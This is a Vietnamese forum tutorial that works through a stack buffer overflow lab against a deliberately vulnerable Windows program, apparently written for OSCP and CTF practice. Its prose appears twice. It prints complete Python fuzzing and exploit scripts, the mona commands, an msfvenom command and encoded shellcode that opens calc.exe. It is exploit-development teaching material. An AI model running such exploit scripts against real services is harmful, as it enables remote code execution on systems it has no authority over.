Marcus1337
VIP Members
-
01/04/2021
-
62
-
76 bài viết
Thực hành khai thác BOF trên windows
Chào anh em! Ở bài trước mình đã giới thiệu phần lý thuyết nhàm chán về BOF, nếu anh em nào chưa đọc thì lướt qua tý nhé.
Hôm nay, chúng ta hãy cùng làm 1 bài lab đơn giản để hiểu hơn về BOF và biết cách viết exploit trong các trường hợp cơ bản. Bài này sẽ phù hợp cho bạn nào đang ôn luyện OSCP hoặc tìm hiểu chơi CTF phần PWN.
Trong bài này chúng ta sẽ thử tiến hành khai thác một lỗi BOF cơ bản trên nền windows 32bit
Chuẩn bị:
Đầu tiên mình cần chạy thử chương trình để xem cách chương trình hoạt động:
Trên máy ubuntu kết nối đến chương trình qua cổng 1337
Chương trình oscp.exe gồm 10 bài lab khác nhau về BOF trên stack. Chương trình sẽ mở mặc định kết nối ở cổng 1337. Và nhận lệnh : OVEFLOW<lab> <data> sẽ đẩy phần data theo từng lab khác nhau.
Để khai thác BOF mình sẽ follow theo quy trình dưới đây:
Mở chương trình với Immunity debugger
Chọn File ⇒ Open ⇒ oscp.exe
Hướng dẫn sử dụng thêm về Immunity debugger các bác có thể xem thêm ở đây
Sau đó nhấn phím F9 hoặc Debug ⇒ Run để chạy chương trình
Fuzzing
Để biết được một chương trình có bị BOF hay không thì các bạn có thể dùng cách phân tích revese code xem cách xử lý bộ nhớ của chương trình hoặc phân tích động bằng cách fuzzing truyền các payload có kích thước lớn và các điểm gây crash chương trình.
Output của quá trình fuzzing là phải tìm ra được BOF ở biến nào và kích thước payload là bao nhiêu? Nguyên lý fuzzing để tìm các lỗi BOF khá đơn giản là liên tục gửi data vào các biến truyền vào với kích thước tăng dần đều đến khi thấy dấu hiệu chương trình crash. Dưới đây là chương trình fuzzing cơ bản của mình cho bài này:
Chạy đoạn code fuzzing từ máy ubuntu ta thấy ở payload 2000 bytes thì chương trình bị crash:
Quay sang bên máy windows lúc này sẽ thấy chương trình đã bị crash
Trên chương trình Immunity debugger ở góc bên phải đã xuất hiện chữ màu vàng Paused thay cho trạng thái Running là dấu hiệu của việc chương trình bị crash
Thanh ghi EIP đã bị ghi đè thành 0x41414141 là 4 chữ cái AAAA do đó chương trình không biết phải thực thi lệnh tiếp theo ở đâu do địa chỉ 0x41414141 không tồn tại vì thế mới xảy ra hiện tượng crash
Kiểm tra điểm gây crash
Để chắc chắn với 2000bytes thì chương trình luôn bị crash. Chúng ta viết đoạn code gửi 2000bytes đến chương trình và xác nhận lại việc sẽ làm crash chương trình:
Find EIP offset
Với 2000bytes thanh ghi EIP đã bị ghi đè giá trị. Chúng ta cần phải tìm ra khoảng cách đề thay vì ghi đè 4 chữ A vô nghĩa thì ta sẽ ghi đè về 1 con trỏ hàm nhằm inject thực thi shell code.
Để tìm offset có 1 mẹo nhỏ là chúng ta sẽ tạo 2000bytes với từng cặp 4bytes 1 khác nhau. Để khi chương trình bị crash chúng ta có thể biết ở bytes thứ bao nhiêu là bắt đầu địa chỉ EIP
Đầu tiên set folder cho mona đây là folder output các command của mona trong
=> lệnh này sẽ setup thư mục theo tên process ví dụ process có tên oscp.exe thì thư mục mona là c:\\mona\\oscp
Tạo 2000bytes pattern sử dụng mona:
Sau khi chạy lệnh mona sẽ gen file chứa các mẫu được lưu ở thư mục làm việc đã cấu hình. Chúng ta đọc file partern.txt và copy pastern rồi gửi tới server
Quay lại immunity debugger nhấn tổ hợp phím CTRL +F2 để restart và F9 để run chương trình. Sau đó gửi chạy script
Khi chương trình bị crash trên giao diện của immunity debugger copy giá trị địa chỉ của thanh ghi EIP
Sau đó dùng câu lệnh mona để tìm offset:
Chúng ta sẽ tìm được offset để ghi đè thanh ghi EIP là 1978.
Tìm các Bad character
Thông thường các chương trình sẽ có các bad character là các ký tự mà chương trình sẽ bỏ qua không xử lý. Nếu payload của mình chèn vào có chứa các ký tự bad character này thì việc khai thác sẽ không thành công do việc ghi đè sẽ không diễn ra như mình mong muốn. Do đó cần phải xác định các ký tự bad character này trước khi gửi mã khai thác.
Đồng thời trong phần này mình cũng sẽ kiểm chứng lại offset 1978 mình tìm thấy có đúng không bằng cách ghi đè vào thanh ghi EIP giá trị khác AAAA. Tạm thời mình sẽ ghi giá trị BBBB trước.
Đầu tiên mình sẽ tạo list danh sách các character cần test. vì giá trị \x00 là ký tự null nên nó là bad character trên hầu hết các chương trình do đó mình sẽ mặc định mình có bad character \x00 và cần tìm các bad character còn lại:
Ở đây list các test character có thể dùng từ file python hoặc dùng mona để tạo
Nguyên tắc của việc tìm bad character là gửi hết các character vào payload sau đó tìm debug xem file dump của stack để xem character nào không được lưu vào stack thì đó là bad character.
Restart lại program bằng CTRL+ F2 sau đó chạy bằng F9. chạy script trên
Chúng ta sẽ thấy chương trình bị crash, để ý thanh ghi EIP lúc này có giá trị 424242 chứng tỏ offset mình tìm được ban đầu đúng và mình đã ghi thành công giá trị này. Thanh ghi ESP lúc này có giá trị 0x0177FA30
Chúng ta sẽ sử dụng mona để tự động so sánh và tìm bad character bằng lệnh :
//Lưu ý file bytearray.bin là file được sinh ra khi tạo lệnh gen !mona bytearray -b "\\x00"
Khi nhìn vào kết quả của lệnh !mona, ta sẽ thấy các bad character được tìm thấy là : 00 07 08 2e 2f a0 a1. Tuy nhiên chỉ có 2 giá trị 00 và 07 là chắc chắn bởi vì các character phía sau 08,2e,2f,a0,a1 có thể là báo nhầm do trong payload mình truyền vào có bad character 07 ảnh hưởng đến kết quả. Ta sẽ xóa ký tự 07 trong payload file tìm bad character và gửi lại lên server sau đó cũng dùng cách tương tự để phát hiện bad character. Quá trình tìm và xóa các bad character đi được lặp lại cho đến khi thông báo so khớp của mona xuất hiện không tìm thấy ký tự nào nữa.
Sau quá trình lặp lại đó chúng ta sẽ có danh sách bad character cuối cùng : "\x00\x07\x2e\xa0"
Finding JMP ESP
Chúng ta sẽ giải quyết bài toán tiếp theo là thanh ghi EIP sẽ trỏ về đâu. Vì dữ liệu kiểm soát được nằm ở trên stack, do đó phải tìm các hàm cho phép chúng ta nhảy đến thực thi code trên stack như JMP ESP. Ta sử dụng mona để tìm kiếm các địa chỉ chứa lệnh này:
Copy địa chỉ hàm tìm thấy ở đây ta sẽ sử dụng hàm ở địa chỉ 0x62501203. Do đó ta sẽ ghi đè địa chỉ EIP về địa chỉ 0x62501203
Tạo Shellcode
Tạo payload mở chương trình calc.exe huyền thoại bằng msfvenom:
Khai thác
Chúng ta sẽ có file exploit cuối cùng. Ở phần này mình có thêm đoạn padding "\x90"*16. "\x90" là lệnh nop trong assembly có nghĩa là gặp lệnh này nó không làm gì cả. Chúng ta thêm 16 ký tự nop nhằm mục đích là để phòng con trỏ esp bị dịch lên 1 vài byte thì payload của mình vẫn hoạt động ổn
Và đây là thành quả
Đây là cách exploit cơ bản nhất trên nền tảng intel x86. Các bạn luyện thêm viết exploit cho các OVERFLOW2 -10 nhé.
Hôm nay, chúng ta hãy cùng làm 1 bài lab đơn giản để hiểu hơn về BOF và biết cách viết exploit trong các trường hợp cơ bản. Bài này sẽ phù hợp cho bạn nào đang ôn luyện OSCP hoặc tìm hiểu chơi CTF phần PWN.
Trong bài này chúng ta sẽ thử tiến hành khai thác một lỗi BOF cơ bản trên nền windows 32bit
Chuẩn bị:
- OS: 2 máy ảo
- Windows 32bit: Mình cài phiên bản windows 7 pro 32bit. Các bạn có thể cài phiên bản 32 bit khác IP: 172.16.39.132 ( ( Đây là IP máy demo của mình để các bác dễ hình dung với phần code exploit bên dưới, trong môi trường test các bác dựng lên có thể dùng IP khác)
- OS attacker: Ubuntu 64bit 2020 ( Các bác có thể dùng OS linux khác như Kali) có IP 172.16.39.1
- Cài đặt môi trường : Trên máy windows cài đặt thêm 2 công cụ để debug
- File practice : https://github.com/shamsherkhan852/Buffer-Overflow-Vulnerable-app/tree/main/oscp
Đầu tiên mình cần chạy thử chương trình để xem cách chương trình hoạt động:
Để khai thác BOF mình sẽ follow theo quy trình dưới đây:
Mở chương trình với Immunity debugger
Chọn File ⇒ Open ⇒ oscp.exe
Hướng dẫn sử dụng thêm về Immunity debugger các bác có thể xem thêm ở đây
Sau đó nhấn phím F9 hoặc Debug ⇒ Run để chạy chương trình
Fuzzing
Để biết được một chương trình có bị BOF hay không thì các bạn có thể dùng cách phân tích revese code xem cách xử lý bộ nhớ của chương trình hoặc phân tích động bằng cách fuzzing truyền các payload có kích thước lớn và các điểm gây crash chương trình.
Output của quá trình fuzzing là phải tìm ra được BOF ở biến nào và kích thước payload là bao nhiêu? Nguyên lý fuzzing để tìm các lỗi BOF khá đơn giản là liên tục gửi data vào các biến truyền vào với kích thước tăng dần đều đến khi thấy dấu hiệu chương trình crash. Dưới đây là chương trình fuzzing cơ bản của mình cho bài này:
Mã:
import socket, time, sys
ip = "172.16.39.132"
port = 1337
timeout = 5
buffer = []
counter = 100
while len(buffer) < 30:
buffer.append("A" * counter)
counter += 100
for string in buffer:
try:
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.settimeout(timeout)
connect = s.connect((ip, port))
s.recv(1024)
print("Fuzzing with %s bytes" % len(string))
s.send("OVERFLOW1 " + string + "\\r\\n")
s.recv(1024)
s.close()
except:
print("Could not connect to " + ip + ":" + str(port))
sys.exit(0)
time.sleep(1)
Chạy đoạn code fuzzing từ máy ubuntu ta thấy ở payload 2000 bytes thì chương trình bị crash:
Quay sang bên máy windows lúc này sẽ thấy chương trình đã bị crash
Thanh ghi EIP đã bị ghi đè thành 0x41414141 là 4 chữ cái AAAA do đó chương trình không biết phải thực thi lệnh tiếp theo ở đâu do địa chỉ 0x41414141 không tồn tại vì thế mới xảy ra hiện tượng crash
Kiểm tra điểm gây crash
Để chắc chắn với 2000bytes thì chương trình luôn bị crash. Chúng ta viết đoạn code gửi 2000bytes đến chương trình và xác nhận lại việc sẽ làm crash chương trình:
Mã:
import socket, time, sys
ip = "172.16.39.132"
port = 1337
timeout = 5
payload = "A"*2000
try:
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.settimeout(timeout)
connect = s.connect((ip, port))
s.recv(1024)
print("Fuzzing with %s bytes" % len(payload))
s.send("OVERFLOW1 " + payload + "\\r\\n")
s.recv(1024)
s.close()
except:
print("Could not connect to " + ip + ":" + str(port))
sys.exit(0)
time.sleep(1)
Find EIP offset
Với 2000bytes thanh ghi EIP đã bị ghi đè giá trị. Chúng ta cần phải tìm ra khoảng cách đề thay vì ghi đè 4 chữ A vô nghĩa thì ta sẽ ghi đè về 1 con trỏ hàm nhằm inject thực thi shell code.
Để tìm offset có 1 mẹo nhỏ là chúng ta sẽ tạo 2000bytes với từng cặp 4bytes 1 khác nhau. Để khi chương trình bị crash chúng ta có thể biết ở bytes thứ bao nhiêu là bắt đầu địa chỉ EIP
Đầu tiên set folder cho mona đây là folder output các command của mona trong
Mã:
!mona config -set workingfolder c:\\mona\\%p
Tạo 2000bytes pattern sử dụng mona:
Mã:
!mona pc 2000
Sau khi chạy lệnh mona sẽ gen file chứa các mẫu được lưu ở thư mục làm việc đã cấu hình. Chúng ta đọc file partern.txt và copy pastern rồi gửi tới server
Quay lại immunity debugger nhấn tổ hợp phím CTRL +F2 để restart và F9 để run chương trình. Sau đó gửi chạy script
Mã:
import socket, time, sys
ip = "172.16.39.132"
port = 1337
timeout = 5
payload = "Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As6As7As8As9At0At1At2At3At4At5At6At7At8At9Au0Au1Au2Au3Au4Au5Au6Au7Au8Au9Av0Av1Av2Av3Av4Av5Av6Av7Av8Av9Aw0Aw1Aw2Aw3Aw4Aw5Aw6Aw7Aw8Aw9Ax0Ax1Ax2Ax3Ax4Ax5Ax6Ax7Ax8Ax9Ay0Ay1Ay2Ay3Ay4Ay5Ay6Ay7Ay8Ay9Az0Az1Az2Az3Az4Az5Az6Az7Az8Az9Ba0Ba1Ba2Ba3Ba4Ba5Ba6Ba7Ba8Ba9Bb0Bb1Bb2Bb3Bb4Bb5Bb6Bb7Bb8Bb9Bc0Bc1Bc2Bc3Bc4Bc5Bc6Bc7Bc8Bc9Bd0Bd1Bd2Bd3Bd4Bd5Bd6Bd7Bd8Bd9Be0Be1Be2Be3Be4Be5Be6Be7Be8Be9Bf0Bf1Bf2Bf3Bf4Bf5Bf6Bf7Bf8Bf9Bg0Bg1Bg2Bg3Bg4Bg5Bg6Bg7Bg8Bg9Bh0Bh1Bh2Bh3Bh4Bh5Bh6Bh7Bh8Bh9Bi0Bi1Bi2Bi3Bi4Bi5Bi6Bi7Bi8Bi9Bj0Bj1Bj2Bj3Bj4Bj5Bj6Bj7Bj8Bj9Bk0Bk1Bk2Bk3Bk4Bk5Bk6Bk7Bk8Bk9Bl0Bl1Bl2Bl3Bl4Bl5Bl6Bl7Bl8Bl9Bm0Bm1Bm2Bm3Bm4Bm5Bm6Bm7Bm8Bm9Bn0Bn1Bn2Bn3Bn4Bn5Bn6Bn7Bn8Bn9Bo0Bo1Bo2Bo3Bo4Bo5Bo6Bo7Bo8Bo9Bp0Bp1Bp2Bp3Bp4Bp5Bp6Bp7Bp8Bp9Bq0Bq1Bq2Bq3Bq4Bq5Bq6Bq7Bq8Bq9Br0Br1Br2Br3Br4Br5Br6Br7Br8Br9Bs0Bs1Bs2Bs3Bs4Bs5Bs6Bs7Bs8Bs9Bt0Bt1Bt2Bt3Bt4Bt5Bt6Bt7Bt8Bt9Bu0Bu1Bu2Bu3Bu4Bu5Bu6Bu7Bu8Bu9Bv0Bv1Bv2Bv3Bv4Bv5Bv6Bv7Bv8Bv9Bw0Bw1Bw2Bw3Bw4Bw5Bw6Bw7Bw8Bw9Bx0Bx1Bx2Bx3Bx4Bx5Bx6Bx7Bx8Bx9By0By1By2By3By4By5By6By7By8By9Bz0Bz1Bz2Bz3Bz4Bz5Bz6Bz7Bz8Bz9Ca0Ca1Ca2Ca3Ca4Ca5Ca6Ca7Ca8Ca9Cb0Cb1Cb2Cb3Cb4Cb5Cb6Cb7Cb8Cb9Cc0Cc1Cc2Cc3Cc4Cc5Cc6Cc7Cc8Cc9Cd0Cd1Cd2Cd3Cd4Cd5Cd6Cd7Cd8Cd9Ce0Ce1Ce2Ce3Ce4Ce5Ce6Ce7Ce8Ce9Cf0Cf1Cf2Cf3Cf4Cf5Cf6Cf7Cf8Cf9Cg0Cg1Cg2Cg3Cg4Cg5Cg6Cg7Cg8Cg9Ch0Ch1Ch2Ch3Ch4Ch5Ch6Ch7Ch8Ch9Ci0Ci1Ci2Ci3Ci4Ci5Ci6Ci7Ci8Ci9Cj0Cj1Cj2Cj3Cj4Cj5Cj6Cj7Cj8Cj9Ck0Ck1Ck2Ck3Ck4Ck5Ck6Ck7Ck8Ck9Cl0Cl1Cl2Cl3Cl4Cl5Cl6Cl7Cl8Cl9Cm0Cm1Cm2Cm3Cm4Cm5Cm6Cm7Cm8Cm9Cn0Cn1Cn2Cn3Cn4Cn5Cn6Cn7Cn8Cn9Co0Co1Co2Co3Co4Co5Co"
try:
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.settimeout(timeout)
connect = s.connect((ip, port))
s.recv(1024)
print("Send payload with %s bytes" % len(payload))
s.send("OVERFLOW1 " + payload + "\\r\\n")
s.recv(1024)
s.close()
except:
print("Could not connect to " + ip + ":" + str(port))
sys.exit(0)
time.sleep(1)
Khi chương trình bị crash trên giao diện của immunity debugger copy giá trị địa chỉ của thanh ghi EIP
Sau đó dùng câu lệnh mona để tìm offset:
Mã:
!mona po 7526C6D2
Chúng ta sẽ tìm được offset để ghi đè thanh ghi EIP là 1978.
Tìm các Bad character
Thông thường các chương trình sẽ có các bad character là các ký tự mà chương trình sẽ bỏ qua không xử lý. Nếu payload của mình chèn vào có chứa các ký tự bad character này thì việc khai thác sẽ không thành công do việc ghi đè sẽ không diễn ra như mình mong muốn. Do đó cần phải xác định các ký tự bad character này trước khi gửi mã khai thác.
Đồng thời trong phần này mình cũng sẽ kiểm chứng lại offset 1978 mình tìm thấy có đúng không bằng cách ghi đè vào thanh ghi EIP giá trị khác AAAA. Tạm thời mình sẽ ghi giá trị BBBB trước.
Đầu tiên mình sẽ tạo list danh sách các character cần test. vì giá trị \x00 là ký tự null nên nó là bad character trên hầu hết các chương trình do đó mình sẽ mặc định mình có bad character \x00 và cần tìm các bad character còn lại:
Mã:
for x in range(1, 256):
print("\\\\x" + "{:02x}".format(x), end='')
print()
Mã:
#\\x01\\x02\\x03\\x04\\x05\\x06\\x07\\x08\\x09\\x0a\\x0b\\x0c\\x0d\\x0e\\x0f\\x10\\x11\\x12\\x13\\x14\\x15\\x16\\x17\\x18\\x19\\x1a\\x1b\\x1c\\x1d\\x1e\\x1f\\x20\\x21\\x22\\x23\\x24\\x25\\x26\\x27\\x28\\x29\\x2a\\x2b\\x2c\\x2d\\x2e\\x2f\\x30\\x31\\x32\\x33\\x34\\x35\\x36\\x37\\x38\\x39\\x3a\\x3b\\x3c\\x3d\\x3e\\x3f\\x40\\x41\\x42\\x43\\x44\\x45\\x46\\x47\\x48\\x49\\x4a\\x4b\\x4c\\x4d\\x4e\\x4f\\x50\\x51\\x52\\x53\\x54\\x55\\x56\\x57\\x58\\x59\\x5a\\x5b\\x5c\\x5d\\x5e\\x5f\\x60\\x61\\x62\\x63\\x64\\x65\\x66\\x67\\x68\\x69\\x6a\\x6b\\x6c\\x6d\\x6e\\x6f\\x70\\x71\\x72\\x73\\x74\\x75\\x76\\x77\\x78\\x79\\x7a\\x7b\\x7c\\x7d\\x7e\\x7f\\x80\\x81\\x82\\x83\\x84\\x85\\x86\\x87\\x88\\x89\\x8a\\x8b\\x8c\\x8d\\x8e\\x8f\\x90\\x91\\x92\\x93\\x94\\x95\\x96\\x97\\x98\\x99\\x9a\\x9b\\x9c\\x9d\\x9e\\x9f\\xa0\\xa1\\xa2\\xa3\\xa4\\xa5\\xa6\\xa7\\xa8\\xa9\\xaa\\xab\\xac\\xad\\xae\\xaf\\xb0\\xb1\\xb2\\xb3\\xb4\\xb5\\xb6\\xb7\\xb8\\xb9\\xba\\xbb\\xbc\\xbd\\xbe\\xbf\\xc0\\xc1\\xc2\\xc3\\xc4\\xc5\\xc6\\xc7\\xc8\\xc9\\xca\\xcb\\xcc\\xcd\\xce\\xcf\\xd0\\xd1\\xd2\\xd3\\xd4\\xd5\\xd6\\xd7\\xd8\\xd9\\xda\\xdb\\xdc\\xdd\\xde\\xdf\\xe0\\xe1\\xe2\\xe3\\xe4\\xe5\\xe6\\xe7\\xe8\\xe9\\xea\\xeb\\xec\\xed\\xee\\xef\\xf0\\xf1\\xf2\\xf3\\xf4\\xf5\\xf6\\xf7\\xf8\\xf9\\xfa\\xfb\\xfc\\xfd\\xfe\\xff
Mã:
!mona bytearray -b "\\x00"
Nguyên tắc của việc tìm bad character là gửi hết các character vào payload sau đó tìm debug xem file dump của stack để xem character nào không được lưu vào stack thì đó là bad character.
Mã:
import socket, time, sys
ip = "172.16.39.132"
port = 1337
timeout = 5
offset = 1978
padding = "A" * offset
new_eip = "BBBB"
found_bad_character = "\\x00" # Note lai cac bad character tim thay
badchars = "\\x01\\x02\\x03\\x04\\x05\\x06\\x07\\x08\\x09\\x0a\\x0b\\x0c\\x0d\\x0e\\x0f\\x10\\x11\\x12\\x13\\x14\\x15\\x16\\x17\\x18\\x19\\x1a\\x1b\\x1c\\x1d\\x1e\\x1f\\x20\\x21\\x22\\x23\\x24\\x25\\x26\\x27\\x28\\x29\\x2a\\x2b\\x2c\\x2d\\x2e\\x2f\\x30\\x31\\x32\\x33\\x34\\x35\\x36\\x37\\x38\\x39\\x3a\\x3b\\x3c\\x3d\\x3e\\x3f\\x40\\x41\\x42\\x43\\x44\\x45\\x46\\x47\\x48\\x49\\x4a\\x4b\\x4c\\x4d\\x4e\\x4f\\x50\\x51\\x52\\x53\\x54\\x55\\x56\\x57\\x58\\x59\\x5a\\x5b\\x5c\\x5d\\x5e\\x5f\\x60\\x61\\x62\\x63\\x64\\x65\\x66\\x67\\x68\\x69\\x6a\\x6b\\x6c\\x6d\\x6e\\x6f\\x70\\x71\\x72\\x73\\x74\\x75\\x76\\x77\\x78\\x79\\x7a\\x7b\\x7c\\x7d\\x7e\\x7f\\x80\\x81\\x82\\x83\\x84\\x85\\x86\\x87\\x88\\x89\\x8a\\x8b\\x8c\\x8d\\x8e\\x8f\\x90\\x91\\x92\\x93\\x94\\x95\\x96\\x97\\x98\\x99\\x9a\\x9b\\x9c\\x9d\\x9e\\x9f\\xa0\\xa1\\xa2\\xa3\\xa4\\xa5\\xa6\\xa7\\xa8\\xa9\\xaa\\xab\\xac\\xad\\xae\\xaf\\xb0\\xb1\\xb2\\xb3\\xb4\\xb5\\xb6\\xb7\\xb8\\xb9\\xba\\xbb\\xbc\\xbd\\xbe\\xbf\\xc0\\xc1\\xc2\\xc3\\xc4\\xc5\\xc6\\xc7\\xc8\\xc9\\xca\\xcb\\xcc\\xcd\\xce\\xcf\\xd0\\xd1\\xd2\\xd3\\xd4\\xd5\\xd6\\xd7\\xd8\\xd9\\xda\\xdb\\xdc\\xdd\\xde\\xdf\\xe0\\xe1\\xe2\\xe3\\xe4\\xe5\\xe6\\xe7\\xe8\\xe9\\xea\\xeb\\xec\\xed\\xee\\xef\\xf0\\xf1\\xf2\\xf3\\xf4\\xf5\\xf6\\xf7\\xf8\\xf9\\xfa\\xfb\\xfc\\xfd\\xfe\\xff"
payload = padding + new_eip + badchars
try:
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.settimeout(timeout)
connect = s.connect((ip, port))
s.recv(1024)
print("Fuzzing with %s bytes" % len(payload))
s.send("OVERFLOW1 " + payload + "\\r\\n")
s.recv(1024)
s.close()
except:
print("Could not connect to " + ip + ":" + str(port))
sys.exit(0)
time.sleep(1)
Chúng ta sẽ thấy chương trình bị crash, để ý thanh ghi EIP lúc này có giá trị 424242 chứng tỏ offset mình tìm được ban đầu đúng và mình đã ghi thành công giá trị này. Thanh ghi ESP lúc này có giá trị 0x0177FA30
Chúng ta sẽ sử dụng mona để tự động so sánh và tìm bad character bằng lệnh :
Mã:
!mona compare -f C:\\mona\\oscp\\bytearray.bin -a 0177FA30
Khi nhìn vào kết quả của lệnh !mona, ta sẽ thấy các bad character được tìm thấy là : 00 07 08 2e 2f a0 a1. Tuy nhiên chỉ có 2 giá trị 00 và 07 là chắc chắn bởi vì các character phía sau 08,2e,2f,a0,a1 có thể là báo nhầm do trong payload mình truyền vào có bad character 07 ảnh hưởng đến kết quả. Ta sẽ xóa ký tự 07 trong payload file tìm bad character và gửi lại lên server sau đó cũng dùng cách tương tự để phát hiện bad character. Quá trình tìm và xóa các bad character đi được lặp lại cho đến khi thông báo so khớp của mona xuất hiện không tìm thấy ký tự nào nữa.
Sau quá trình lặp lại đó chúng ta sẽ có danh sách bad character cuối cùng : "\x00\x07\x2e\xa0"
Finding JMP ESP
Chúng ta sẽ giải quyết bài toán tiếp theo là thanh ghi EIP sẽ trỏ về đâu. Vì dữ liệu kiểm soát được nằm ở trên stack, do đó phải tìm các hàm cho phép chúng ta nhảy đến thực thi code trên stack như JMP ESP. Ta sử dụng mona để tìm kiếm các địa chỉ chứa lệnh này:
Mã:
mona jmp -r esp -cpb "\\x00\\x07\\x2e\\xa0"
Copy địa chỉ hàm tìm thấy ở đây ta sẽ sử dụng hàm ở địa chỉ 0x62501203. Do đó ta sẽ ghi đè địa chỉ EIP về địa chỉ 0x62501203
Tạo Shellcode
Tạo payload mở chương trình calc.exe huyền thoại bằng msfvenom:
Mã:
msfvenom -p windows/exec CMD=calc.exe -f python --platform win --arch x86 -b "\\x00\\x07\\x2e\\xa0"
Khai thác
Chúng ta sẽ có file exploit cuối cùng. Ở phần này mình có thêm đoạn padding "\x90"*16. "\x90" là lệnh nop trong assembly có nghĩa là gặp lệnh này nó không làm gì cả. Chúng ta thêm 16 ký tự nop nhằm mục đích là để phòng con trỏ esp bị dịch lên 1 vài byte thì payload của mình vẫn hoạt động ổn
Mã:
import socket, time, sys
import struct
ip = "172.16.39.132"
port = 1337
timeout = 5
badchar = "\\x00\\x07\\x2e\\xa0"
total_length = 2000
offset = 1978
padding = "A" * offset
new_eip = struct.pack("<I",0x62501203)
append = "C" * (total_length - len(padding) - len(new_eip))
nop_padding = "\\x90"*16
buf = b""
buf += b"\\xda\\xc0\\xd9\\x74\\x24\\xf4\\x5b\\x31\\xc9\\xba\\x49\\x14\\x41"
buf += b"\\xe9\\xb1\\x31\\x83\\xc3\\x04\\x31\\x53\\x14\\x03\\x53\\x5d\\xf6"
buf += b"\\xb4\\x15\\xb5\\x74\\x36\\xe6\\x45\\x19\\xbe\\x03\\x74\\x19\\xa4"
buf += b"\\x40\\x26\\xa9\\xae\\x05\\xca\\x42\\xe2\\xbd\\x59\\x26\\x2b\\xb1"
buf += b"\\xea\\x8d\\x0d\\xfc\\xeb\\xbe\\x6e\\x9f\\x6f\\xbd\\xa2\\x7f\\x4e"
buf += b"\\x0e\\xb7\\x7e\\x97\\x73\\x3a\\xd2\\x40\\xff\\xe9\\xc3\\xe5\\xb5"
buf += b"\\x31\\x6f\\xb5\\x58\\x32\\x8c\\x0d\\x5a\\x13\\x03\\x06\\x05\\xb3"
buf += b"\\xa5\\xcb\\x3d\\xfa\\xbd\\x08\\x7b\\xb4\\x36\\xfa\\xf7\\x47\\x9f"
buf += b"\\x33\\xf7\\xe4\\xde\\xfc\\x0a\\xf4\\x27\\x3a\\xf5\\x83\\x51\\x39"
buf += b"\\x88\\x93\\xa5\\x40\\x56\\x11\\x3e\\xe2\\x1d\\x81\\x9a\\x13\\xf1"
buf += b"\\x54\\x68\\x1f\\xbe\\x13\\x36\\x03\\x41\\xf7\\x4c\\x3f\\xca\\xf6"
buf += b"\\x82\\xb6\\x88\\xdc\\x06\\x93\\x4b\\x7c\\x1e\\x79\\x3d\\x81\\x40"
buf += b"\\x22\\xe2\\x27\\x0a\\xce\\xf7\\x55\\x51\\x84\\x06\\xeb\\xef\\xea"
buf += b"\\x09\\xf3\\xef\\x5a\\x62\\xc2\\x64\\x35\\xf5\\xdb\\xae\\x72\\x09"
buf += b"\\x96\\xf3\\xd2\\x82\\x7f\\x66\\x67\\xcf\\x7f\\x5c\\xab\\xf6\\x03"
buf += b"\\x55\\x53\\x0d\\x1b\\x1c\\x56\\x49\\x9b\\xcc\\x2a\\xc2\\x4e\\xf3"
buf += b"\\x99\\xe3\\x5a\\x90\\x7c\\x70\\x06\\x79\\x1b\\xf0\\xad\\x85"
shell_code = buf
payload = padding + new_eip + nop_padding + shell_code
try:
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.settimeout(timeout)
connect = s.connect((ip, port))
s.recv(1024)
print("Fuzzing with %s bytes" % len(payload))
s.send("OVERFLOW1 " + payload + "\\r\\n")
s.recv(1024)
s.close()
except:
print("Could not connect to " + ip + ":" + str(port))
sys.exit(0)
time.sleep(1)
Và đây là thành quả
Đây là cách exploit cơ bản nhất trên nền tảng intel x86. Các bạn luyện thêm viết exploit cho các OVERFLOW2 -10 nhé.
Happy hacking !!!
Chỉnh sửa lần cuối: